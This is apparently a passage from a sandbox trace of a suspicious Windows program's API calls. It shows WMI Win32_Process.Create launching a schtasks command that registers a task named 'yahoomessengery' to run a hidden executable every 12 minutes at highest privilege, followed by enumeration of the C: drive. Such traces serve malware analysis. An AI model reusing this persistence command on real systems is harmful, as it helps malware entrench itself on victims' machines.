puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aa40, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aa40, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0066.624] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aa40, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0066.625] IWbemServices:GetObject (in: This=0x1bf54ce0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bf44d10, ppCallResult=0x0) returned 0x0 [0066.661] IWbemClassObject:GetMethod (in: This=0x1bf44d10, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bf45080, ppOutSignature=0x1b2fd9e0*=0x1bf453f0) returned 0x0 [0066.662] IWbemClassObject:SpawnInstance (in: This=0x1bf45080, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf1a240) returned 0x0 [0066.662] IWbemClassObject:Get (in: This=0x1bf1a240, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290bfb8*=0, plFlavor=0x290bfbc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290bfb8*=8, plFlavor=0x290bfbc*=32) returned 0x0 [0066.662] IWbemClassObject:Get (in: This=0x1bf1a240, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290bfb8*=8, plFlavor=0x290bfbc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290bfb8*=8, plFlavor=0x290bfbc*=32) returned 0x0 [0066.662] IWbemClassObject:Put (This=0x1bf1a240, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"yahoomessengery\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0066.663] IWbemClassObject:Get (in: This=0x1bf1a240, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290c048*=0, plFlavor=0x290c04c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290c048*=13, plFlavor=0x290c04c*=32) returned 0x0 [0066.663] IWbemClassObject:Get (in: This=0x1bf1a240, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290c048*=13, plFlavor=0x290c04c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290c048*=13, plFlavor=0x290c04c*=32) returned 0x0 [0066.663] IUnknown:QueryInterface (in: This=0x1bf44630, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bf44630) returned 0x0 [0066.663] IUnknown:QueryInterface (in: This=0x1bf44630, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0066.663] IUnknown:QueryInterface (in: This=0x1bf44630, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0066.664] IUnknown:AddRef (This=0x1bf44630) returned 0x3 [0066.664] IUnknown:QueryInterface (in: This=0x1bf44630, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0066.664] IUnknown:QueryInterface (in: This=0x1bf44630, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0066.664] IUnknown:QueryInterface (in: This=0x1bf44630, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bf44638) returned 0x0 [0066.664] IMarshal:GetUnmarshalClass (in: This=0x1bf44638, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0066.664] IUnknown:Release (This=0x1bf44638) returned 0x3 [0066.664] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0066.664] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0066.664] IUnknown:QueryInterface (in: This=0x1bf44630, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0066.664] IUnknown:Release (This=0x1bf44630) returned 0x2 [0066.664] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0066.664] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0066.664] IUnknown:QueryInterface (in: This=0x1bf44630, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0066.665] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0066.665] IUnknown:QueryInterface (in: This=0x1bf44630, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0066.665] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0066.665] IUnknown:AddRef (This=0x1bf44630) returned 0x3 [0066.665] IWbemClassObject:Put (This=0x1bf1a240, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf44630, varVal2=0x0), Type=0) returned 0x0 [0066.665] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ae00, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0066.665] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0066.665] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0066.666] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aec0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0066.666] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0066.666] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.666] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0066.666] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0066.666] IWbemServices:ExecMethod (in: This=0x1bf54ce0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf1a240, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf19780, ppCallResult=0x0) returned 0x0 [0067.028] IWbemClassObject:Get (in: This=0x1bf19780, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290c360*=0, plFlavor=0x290c364*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf6c, varVal2=0x0), pType=0x290c360*=19, plFlavor=0x290c364*=0) returned 0x0 [0067.029] IWbemClassObject:Get (in: This=0x1bf19780, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290c360*=19, plFlavor=0x290c364*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf6c, varVal2=0x0), pType=0x290c360*=19, plFlavor=0x290c364*=0) returned 0x0 [0067.030] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb08) returned 0x2c0 [0067.030] GetExitCodeProcess (in: hProcess=0x2c0, lpExitCode=0x28f1704 | out: lpExitCode=0x28f1704*=0x103) returned 1 [0067.030] CoTaskMemAlloc (cb=0x404) returned 0x11f2a70 [0067.030] QueryFullProcessImageNameA (in: hProcess=0x2c0, dwFlags=0x0, lpExeName=0x11f2a70, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files\\MSBuild\\leechftp.exe", lpdwSize=0x1b2fe138) returned 1 [0067.031] CoTaskMemFree (pv=0x11f2a70) [0067.038] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb80) returned 0x2bc [0067.038] GetExitCodeProcess (in: hProcess=0x2bc, lpExitCode=0x28ed0d4 | out: lpExitCode=0x28ed0d4*=0x103) returned 1 [0067.038] CoTaskMemAlloc (cb=0x404) returned 0x11f2a70 [0067.038] QueryFullProcessImageNameA (in: hProcess=0x2bc, dwFlags=0x0, lpExeName=0x11f2a70, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Office\\active-charge.exe", lpdwSize=0x1b2fe138) returned 1 [0067.039] CoTaskMemFree (pv=0x11f2a70) [0067.044] CoTaskMemAlloc (cb=0x20c) returned 0x1163970 [0067.044] GetSystemDirectoryW (in: lpBuffer=0x1163970, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0067.044] CoTaskMemFree (pv=0x1163970) [0067.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0067.045] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0067.046] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x11f5bf0 [0067.046] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41aa3160, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0067.048] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0067.048] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0067.048] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0067.048] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0067.048] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0067.048] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0067.048] FindClose (in: hFindFile=0x11f5bf0 | out: hFindFile=0x11f5bf0) returned 1 [0067.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0067.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0067.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0067.049] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0067.050] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f5bf0 [0067.050] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.050] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa0a7d640, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0xd85f4660, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0067.050] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xd85a83a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0067.050] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 